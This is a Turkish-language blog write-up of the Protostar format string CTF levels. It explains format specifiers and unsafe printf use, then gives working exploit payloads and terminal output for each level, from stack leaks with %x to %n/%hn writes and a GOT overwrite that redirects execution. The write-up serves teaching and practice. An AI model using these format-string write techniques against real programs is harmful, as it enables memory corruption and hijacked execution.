Avatar Ben Süleyman ERGEN. Siber güvenlik ile uğraşmayı seviyorum. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Protostar Format String Writeup

Protostar Format String Writeup

Birkaç gün önce yayınladığım protostar stack writeuplarından sonra format string zafiyetleri ile devam ediyorum.

Format String Nedir

Format string C C++ programlama dillerinde ve türevlerinde farklı türdeki değişkenleri string olarak yazdırmak için kullanılan bir yapıdır. Normal şartlar altında printf gibi fonksiyonlarda karakter dizileri ve stringler yazdırılır. Bunun yanı sıra integer, float, boolean gibi farklı türlerde verilerin terminale yazdırılma ihtiyadı olması oldukça normaldir. Bu tür durumarda farklı tipteki verilerin string olarak düzgün bir şekilde yazdırılabilmesi için format string ler kullanılır.

Yazdırma yaparken farklı veri tipleri için kullanılan belirteçler vardır. Bunlardan kısaca bahsedeyim.

  • %d Integer türünde değişkenleri yazdırmak için kullanılır.
  • %u Unsigned int türünde değişkenleri yazdırmak için kullanılır.
  • %f Float değişkenleri yazdırmak için kullanılır.
  • %s Karakter dizilerini ve stringleri yazdırmak için kullanılır.
  • %c Bir karakter (char) yazdırmak için kullanılır.
  • %p Pointerlar için kullandığımız format string.
  • %x Hexadecimal karakterler için kullandığımız format string.
  • %n ve %hn O ana kadar kaç tane byte yazıldıysa onu bir değişkene yazdıran format string. Aynı zamanda en tehlikeli olan format string de budur.

Format String Fonksiyonları

C ve C++ dillerinde format string kullanan bir çok fonksiyon bardır. Bunlardan en yaygın kullanılanları şu şekildedir.

  • printf
  • fprintf
  • sprintf
  • snprintf
  • vprintf

Bunlar dışında farklı fonksiyonlarda var fakat ben bu kadarını listeledim.

Zafiyet

Normal şartlar altında printf şu şekilde kullanılır.

printf("%s", degisken)

İlk parametre olarak format string veririz. Bu parametre içerisinde “%” ile başlayan ifadeler bulunur. Diğar parametreler ise ilk parametrede tanımladığımız format string belirteçleri yarine yazılacak değişkenleri belirtir. Bu yöntem ile değişkenleri yazdırmak güvenlidir.

Fakat ilk parametrede bir değişkeni yazdırmak biraz sakıncalıdır. Yani ilk parametreye kullanıcıdan alınan bir verinin doğrudan bir filtreden geçirilmeden kullanılması bir zafiyete neden olur. Şu şekilde özetliyim:

// Güvenli
printf("%s", argv[1])

// zafiyetli
printf(argv[1])

Kullanıcı format string fonksiyonlarında ilk parametreyi kontrol ettikleri taktirde format string ifadelerini girerek stack yada bellekten veri okuyabilirler. Hatta veri yazabilirler ve programın akışını değiştirebilirler.

Format 0

Kaynak kodu inceleyerek başlayalım.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Dikkat ederseniz sprintf fonksiyonuna kullanıcıdan alınan veri herhangi bir filtreye tabi tutulmadan doğrudan kullanılmıştır. Eğer kullanıcı girdi olarak “%x” gibi ifadeler girerse bellekten veri okuyabilir.

Bu soru için biraz daha basit düşünelim. Kullanıcıdan gelen veri herhangi bir uzunluk denetimine tabi tutulmadan buffera kopyalanmış. Eğer kullanıcı 64 karakterden daha fazla veri girerse?

Buffer boyutumuzu kaynak koddan 64 karakter olarak görüyoruz. O zaman 64 karakterden sonra girdiğimiz her byteın target değişkenine yazılacağını öngörebiliriz.

user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "a"*64 + "\xef\xbe\xad\xde"')
you have hit the target correctly :)

Bu soru normal buffer overflow dan çok farklı değil :)

Yöntem 2 : 64 karakter yazdırmak için format string kullanılabilir. Bu durumda “%d” format stringi kullanılarak exploit kodu şuna dönüştürülebilir.

user@protostar:/opt/protostar/bin$ ./format0 $(python -c 'print "%64d\xef\xbe\xad\xde"')
you have hit the target correctly :)

Bu sayede 8 byte ile soruyu tamamlamış olduk.

Format 1

Bu soru ile birlikte printf ile nasıl değişkenlerin değerini değiştirebileceğimizi ve bellek üzerine nasıl veri yazabileceğimizi göreceğiz.

Kaynak kodu inceleyerek başlayalım.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

Vurl fonksiyonu terminalden aldığı veriyi doğrudan printf fonksiyonunun 1. parametresinde kullanıyor. Ardından target değişkeninin değeri kontrol ediliyor, eğer değer false değer değilse ekrana mesaj yazdırıyor. Dikkat ederseniz programın hiç bir yerinde target değişkenini değiştirmiyor. Bunu biz yapacağız.

Peki zafiyete gelelim. Burada nerede zafiyet var. Zafiyet kullanıcıdan gelen verinin printf fonksiyonunun 1. parametresinde kullanılması. Eğer kullanıcı format string belirteçleri kullanırsa stack içerisinden veri okuyabilir.

Proramı çalıştıralım.

user@protostar:/opt/protostar/bin$ ./format1 hello
hello

Görüldüğü üzere anormal bir şey yok. Şimdi şunu deneyelim.

user@protostar:/opt/protostar/bin$ ./format1 %x
804960c

Bum. Ne oldu? şaşırdın mı? “%x” mi bekliyordun. Bu bir format string. Bellekten hexadecimal olarak veri yazdırdı.

Burayı biraz daha açalım. Biz input olarak “%x” girdiğimizde fonksiyon şu hali aldı: printf("%x"). İlk parametre olarak %x format belirteci. Fakat dikkat ederseniz 2. 3. parametreler yok. Yani “%x” format belirteci ne yazdıracak. Normalde format string belirteci ile aynı sayıda değişkeni parametre olarak printf fonksiyonuna veriyorduk. printf ise o verdiğimiz parametreleri uygun bir şekilde ekrana yazdırıyordu. Bu durumra sadece 1 parametre var. Peki ne olacak? printf ne yazdıracak. İlginç bir şekilde stackte ne varsa onu yazdıracak.

Hatırlayın 32 bir işletim sistemlerinde fonksiyon parametreleri stackte saklanıyordu. Yani siz bir fonksiyon çağırdığınızda o fonksiyona ait parametreler önce stacke push edilir ardından fonksiyon çağrılırdı. Bu durumda printf’i düşüşündüğümüzde sanki parametreler stacke pust edilmiş gibi stack üzerinden format string belirteci adedince değişken yapacak.

İşi biraz daha ilerletiyorum.

user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "%x."*100')
804960c.bffff5c8.8048469.b7fd8304.b7fd7ff4.bffff5c8.8048435.bffff7ae.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff648.b7eadc76.2.bffff674.bffff680.b7fe1848.bffff630.ffffffff.b7ffeff4.804824d.1.bffff630.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff648.94d64a.2ac7005a.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff674.8048450.8048440.b7ff1040.bffff66c.b7fff8f8.2.bffff7a4.bffff7ae.0.bffff8db.bffff8f0.bffff907.bffff91f.bffff92d.bffff941.bffff963.bffff97a.bffff98d.bffff997.bffffe87.bffffea0.bffffede.bffffef2.bfffff10.bfffff27.bfffff38.bfffff53.bfffff5b.bfffff6b.bfffff78.bfffffac.bfffffc0.bfffffd4.bfffffe6.0.20.b7fe2414.21.b7fe2000.10.178bfbff.6.1000.11.64.3.8048034.4.20.5.

Gördüğünüz gibi stack üzerinden oldukça büyük miktarda veri okuduk. Daha fazla veri okuyalım.

format1-1

Bu serfer ise stack üzerinden 200 değer okuduk. Bunu yaparken ise girdimin başına “a” ve “b” karakterleri yerleştirdim. Bunu yapmamın amacı stack üzerinde kendi girdiğim veriyi ayırt etmekti. Dikkat ederseniz stack üzerinden okuduğumuz verilerde 0x61 ve 0x62 hex değerlerinin geçtiğini görürsünüz. Bunlar bizim girdiğimiz a ve b karakterleri. Aynı şekilde a ve b karakterlerinden sonra kendini tekrar eden sayılar göreceksiniz. Bunlar ise bizim girdiğimiz format string belirteçleri “%x”. Gördüğünüz gibi stack üzerinden istediğimiz yeri okuyabiliyoruz.

Şimdi ise bellek alanına veri yazmaya. Bu noktada başka bir format belirtecini kullanacağız.”%n” format belirteci o ana kadar yazılan karakter sayısını bir değişkene yazdırır. Bu belirteç ile target değişkeninin değerini değiştireceğiz. O zaman başlayalım.

Öncelikle target değişkeninin hangi adreste tanımlı olduğunu bulmamız gerekiyor. objdump -t stack1 komutu ile bunu yapabiliriz.

user@protostar:/opt/protostar/bin$ objdump -t format1

format1:     file format elf32-i386

SYMBOL TABLE:
............................................................
080483f4 g     F .text	00000028              vuln
08049638 g     O .bss	00000004              target
0804963c g       *ABS*	00000000              _end
............................................................
0804841c g     F .text	0000001b              main
080482c0 g     F .init	00000000              _init

Terminal çıktısından görüldüğü üzere target değişkeni 0x08049638 adresinde tutuluyor. Bu adrese veri yazmamız lazım. Bunu nasıl yapacağız. Şu şekilde:

printf("hello %n", target)

Yukarıdaki örnekte target değişkenine 6 yazılacak. Çünkü “%n” o ana kadar yazdırılan karakter sayısını bir değişkene yazdırıyor. hello + boşluk = 6 karakter.

user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "aaaa" + "\x38\x96\x04\x08" + "%x.."*200 + "%x"')

format1-2

Öncelikle “aaaa” karakterleri ile stack üzerine verimin yazıldığı yeri buluyorum. 61616161 stack üzerinde hemen belli olacaktır. Ardından verimi yazdırmak istediğim adresi giriyorum. ardından ise onlarca “%x..” format stringi. %x bellekten hex olarak veri okumamı sağlayacak. Araya koyduğum iki tane nokta ise verileri birbirinden ayırmak için.

Bu durumda verimi hizalamam gerekiyor. En sona koyduğum “%x” target değişkeninin adresini yazdırmalı. Ancak o zaman o “%x” yerine “%n” koyduğumuzda target değişkeninin değerini değiştirmiş oluruz.

user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "aaaa" + "\x38\x96\x04\x08" + "%x.."*136 + "%n"')
aaaa8804960c..bffff4c8..8048469..b7fd8304..b7fd7ff4..bffff4c8..8048435..bffff6b0..b7ff1040..804845b..b7fd7ff4..8048450..0..bffff548..b7eadc76..2..bffff574..bffff580..b7fe1848..bffff530..ffffffff..b7ffeff4..804824d..1..bffff530..b7ff0626..b7fffab0..b7fe1b28..b7fd7ff4..0..0..bffff548..60ad3631..4afce021..0..0..0..2..8048340..0..b7ff6210..b7eadb9b..b7ffeff4..2..8048340..0..8048361..804841c..2..bffff574..8048450..8048440..b7ff1040..bffff56c..b7fff8f8..2..bffff6a6..bffff6b0..0..bffff8db..bffff8f0..bffff907..bffff91f..bffff92d..bffff941..bffff963..bffff97a..bffff98d..bffff997..bffffe87..bffffea0..bffffede..bffffef2..bfffff10..bfffff27..bfffff38..bfffff53..bfffff5b..bfffff6b..bfffff78..bfffffac..bfffffc0..bfffffd4..bfffffe6..0..20..b7fe2414..21..b7fe2000..10..178bfbff..6..1000..11..64..3..8048034..4..20..5..7..7..b7fe3000..8..0..9..8048340..b..3e9..c..0..d..3e9..e..3e9..17..1..19..bffff68b..1f..bffffff2..f..bffff69b..0..0..f1000000..4b3a1566..71a74fa2..24105143..69ffb6c8..363836..0..2f2e0000..6d726f66..317461..61616161..you have modified the target :)

Stack üzerinde 147. değer target değerinin adresini gösteriyor. Eğer o adrese yukarıdaki gibi “%n” ile ulaşmaya çalışırsak değişkenin değerini değiştirmiş oluruz.

Aynı zamanda format stringlerde şöyle bir özellik var. Defalarca kez “%x” yazmamıza gerek yok. Biz “%sayi$x” ile sayı ile belirtilen değişkene atlayabiliyoruz. Örneğin

print("%3$d", sayi1, sayi2, sayi3)

Yukarıdaki örnek sayi3 değişkenini ekrana yazdırır. Yani “%” işareti ile “$” işareti arasına kaçıncı değişkene ulaşmak istediğimizi belirtebiliyoruz. Bu özellik ile payloadımızı şu şekildekısaltabiliriz.

user@protostar:/opt/protostar/bin$ ./format1 $(python -c 'print "\x38\x96\x04\x08" + "%136$n"')
you have modified the target :)

Format 2

Bu örnek yukarıdaki örneğe benzer. Sadece target değişkenine belirli bir değeri yazmamız gerekiyor.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Öncelikle stack içerisindeki değerleri yazdırarak başlıyorum.

user@protostar:/opt/protostar/bin$ ./format2 < <(python -c 'print "aaaa"+"%x.."*10+"%x"')
aaaa200..b7fd8420..bffff524..61616161..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825
target is 0 :(

Gözünüze 61616161 hemen çarpmıştır. Yani stack üzerinde nereye yazdığımızı bulduk. Şimdi geldi target değişkenin adresini bulmaya.

user@protostar:/opt/protostar/bin$ objdump -t format2
.....................................................
08048454 g     F .text	00000067              vuln
.....................................................

target değişkenimiz 0x08048454 adresinde tutuluyor. Bu adreside girdiğim imputa ekliyorum.

user@protostar:/opt/protostar/bin$ ./format2 < <(python -c 'print "aaaa" + "\xe4\x96\x04\x08" + "%x.."*10 + "%x"')
aaaa200..b7fd8420..bffff524..61616161..80496e4..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825
target is 0 :(

80496e4 değerini stack üzerinde gördük. O zaman o değeri “%n” ile değiştirmeyeli deneyelim.

user@protostar:/opt/protostar/bin$ ./format2 < <(python -c 'print "aaaa" + "\xe4\x96\x04\x08" + "%x.."*10 + "%5$n"')
aaaa200..b7fd8420..bffff524..61616161..80496e4..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..
target is 102 :(

Target değişkeninin değerini değiştirmeyi başardık. Birkaç deneme yanılma ile değerin 5. olmayan parametre olduğunu görebilirsiniz.

Şimdi sıra geldi değeri 64 yapmaya. Bunun için daha önceden yazdığımız fazladan “%x”leri siliyorum. Hatta “aaaa” karakterlerinede artık ihtiyacım kalmadı. Çünkü target değerimin kaçıncı stack alanında olduğunu saptadık.

Ardından “%60d” ile tamsayı yazdırır gibi 64 karakter yazdırıyorum. Artı target değişkeninin adresini de yazdırmıştım. 4 te oradan geldi toplamda 64 karakter yapar. Bu durumda “%5$n” ile target değişkeninin değerini değiştirebiliriz.

user@protostar:/opt/protostar/bin$ ./format2 < <(python -c 'print "%60d" + "\xe4\x96\x04\x08" + "%5$n"')
you have modified the target :)

Format 3

Bu örnekte ise target değişkenine daha büyük bir değer yazmamız gerekiyor. Ama mantık aynı.

Kaynak kodu inceleyelim.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

Bu örnekte target değişkeninin değerini 0x01025544 olarak değiştirmemiz gerekiyor.

Öncelikle target değişkeninin adresini bulmakla başlıyorum. objdump ile bunu şu şekilde yapabiliriz.

user@protostar:/opt/protostar/bin$ objdump -t format3
.....................................................
080496f4 g     O .bss	00000004              target
.....................................................

Target değişkeni 0x080496f4 adresinde olacak. Payloadımızda ise bu adresi stack üzerine yazıp “%n” format belirteci ile değiştireceğiz.

Onlarca “%x” ile stacki yazdıralım. Bu saydede girdiğimiz target değişkeninin adresini bulabiliriz.

user@protostar:/opt/protostar/bin$ ./format3 < <(python -c 'print "aaaa" + "\xf4\x96\x04\x08" + "%x.."*15')
aaaa�0..bffff4e0..b7fd7ff4..0..0..bffff6e8..804849d..bffff4e0..200..b7fd8420..bffff524..61616161..80496f4..2e2e7825..2e2e7825..
target is 00000000 :(

Dikkat ederseniz target değişkeninin adresi 0x80496f4, stack üzerinde 13. konumda. Yani “%13$” ile target değişkenine ulaşabiliriz.

user@protostar:/opt/protostar/bin$ ./format3 < <(python -c 'print "aaaa" + "\xf4\x96\x04\x08" + "%13$x"')
aaaa�80496f4
target is 00000000 :(

Bu noktadan itibaren “%x” yerine “%n” koyarak değişkenin değerini değiştirebiliriz.

user@protostar:/opt/protostar/bin$ ./format3 < <(python -c 'print "aaaa" + "\xf4\x96\x04\x08" + "%13$n"')
aaaa��
target is 00000008 :(

Örnekte target değişkeni 8 oldu. Değişkenin değerini 0x01025544 yapmamız gerekiyordu. Peki bunu nasıl yapacağız. Yani 0x01025544 - 0x8 = 0x102553c kadar karakter yazdırmamız gerekiyor.

Burada format belirteçlerin başka bir özelliğini kullanabiliriz. Normalde integer bir sayıyı yazdırırken hizalama amacıyla yada boşluk bırakmak için “%Xd” kullanılır. Burada X kaç adet boşluk bırakılması gerektiğini gösterir. Yani biz bir integer değerini yazdırırken “%5d” gibi bir ifade kullandığımızda printf öncelikle 5 karakter boşluk bırakacak, ardından sayıyı yazdıracaktır. Bizim örneğimizi düşünecek olursak 0x102553c adet boşluk bırakırsak target değişkenini istediğimiz değere getirmiş oluruz. Öncelikle şu şekilde bir deneme yapıyorum.

user@protostar:/opt/protostar/bin$ ./format3 < <(python -c 'print "aaaa" + "\xf4\x96\x04\x08" + "%10000d" + "%13$n"')
...........................................................
...........................................................
target is 00002718 :(

Target değişkenini 2718 olarak değiştirdik. Geriye ise sadece sayıyı büyütmek kalıyor. Tam exploit kodu ise şu şekilde.

user@protostar:/opt/protostar/bin$ ./format3 < <(python -c 'print "aaaa" + "\xf4\x96\x04\x08" + "%16930108d" + "%13$n"')
...........................................................
...........................................................
...........................................................
you have modified the target :)

Format 4

Bu soru ile birlikte daha ilginç bir şey yapmaya başlıyoruz. Önceki sorulardan farklı olarak bir fonksiyonun adresini değiştirmeye çalışacağız.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
 printf("code execution redirected! you win\n");
 _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);  
}

int main(int argc, char **argv)
{
  vuln();
}

Kaynak kodu incelediğimizde printf ile kullanıcı kontrolündeki bir string yazdırılıyor. Ardından exit fonksiyonu ile program sonlandırılıyor.

Kaynak kodda var olan fakat kullanılmayan bir fonksiyon var. hello fonksiyonu. Amacımız bu fonksiyonu bir şekilde çağırmak.

Bu noktada vurl fonksiyonunun geri dönüş değerini değiştirmeyi deneyemeyiz. Çünkü fonksiyon asla geri dönmüyor ve geri dönmeden önce exit fonksiyonu ile program sonlanıyor.

Bu sorunun amacı ise exit fonksiyonunun adresini hello fonksiyonu olacak değiştirmek. Bu şekilde vurl fonksiyonu sonundaki exit yerine hello fonksiyonu çağırılacak.

Öncelikle exit fonksiyonunun bulunduğu yeri bulalım.

user@protostar:/opt/protostar/bin$ objdump -TR /opt/protostar/bin/format4
.....................................................
08049724 R_386_JUMP_SLOT   exit
.....................................................

Ve şimdide hello fonksiyonunun adresini.

(gdb) p hello
$1 = {void (void)} 0x80484b4 <hello>

Fakat burada bir problem var. yazdırmak istediğimiz sayı çok büyük. Bu yüzden bu değeri ikiye bölerek yazdıracağız. Öncelikle yüksek değerlikli 2 byte, ardından düşük değerlikli 2 byte şeklinde yazacağız. Düşük değerlikli byte 0x08049724 dan başlayacak. Yüksek değerlikli byte lar ise 0x08049726 dan başlayacak. Yazdırma işleminde ise “%hn” kullanacağız. Bu 2 byte değerinde veri yazmamıza izin verecek. Temel manako komut şu hali alıyor.

$ python -c 'print "\x26\x97\x04\x08" + "\x24\x97\x04\x08" + "%d" + "%4$hn"+ "%d" + "%5$hn"' > /tmp/input

Buradaki %4$hn değeri 0x08049726 adresini gösteriyor, %5$hn ise 0x08049724 adresini gösteriyor olacak. Buradaki %d ler ise gerekli olan padding için kullanılacak. Bu komutun çıktısını “/tmp/input” dosyasına yönlendiriyorum ve bu şekilde gdb de kullanıyorum.

(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/format4 < /tmp/input
&$512-1208122336

Program received signal SIGSEGV, Segmentation fault.
0x000b0016 in ?? ()

Gördüğünüz üzere program 0x000b0016 adresine ulaşmaya çalıştı. Yani programın akışına müdahale etmeye başladık. Şimdi ise yüksek değerlikli 2 byta gerekli değeri yazalım. Ben burada 2044 değerini biraz deneme yanılma ile buldum.

python -c 'print "\x26\x97\x04\x08" + "\x24\x97\x04\x08" + "%2044p" + "%4$hn"+ "%p" + "%5$hn"' > /tmp/input
....................................................

Ve gdb de çalıştırıyorum.

(gdb) r < /tmp/input
....................................................
Program received signal SIGSEGV, Segmentation fault.
0x0804080e in ?? ()

0x0804.... şeklinde bir değer aldı. Yani burada ilk 2 bytı doğru bir şekilde yazdık. Ardından diğer 2 byta geliyorum. Burada da biraz deneme-yanılma ile diğer padding değerini 31919 olarak buluyorum. Tam tam exploit kodu şu hali alıyor.

$ ./format4< <(python -c 'print "\x26\x97\x04\x08" + "\x24\x97\x04\x08" + "%2044d" + "%4$hn"+ "%31919d" + "%5$hn"')
.................................................................
.................................................................
code execution redirected! you win

Son Söz

Elimden geldiğimce format string zafiyetlerini anlatmaya çalıştım. Umarım faydalı olmuştur. Daha sonra görüşmek üzere.

all tags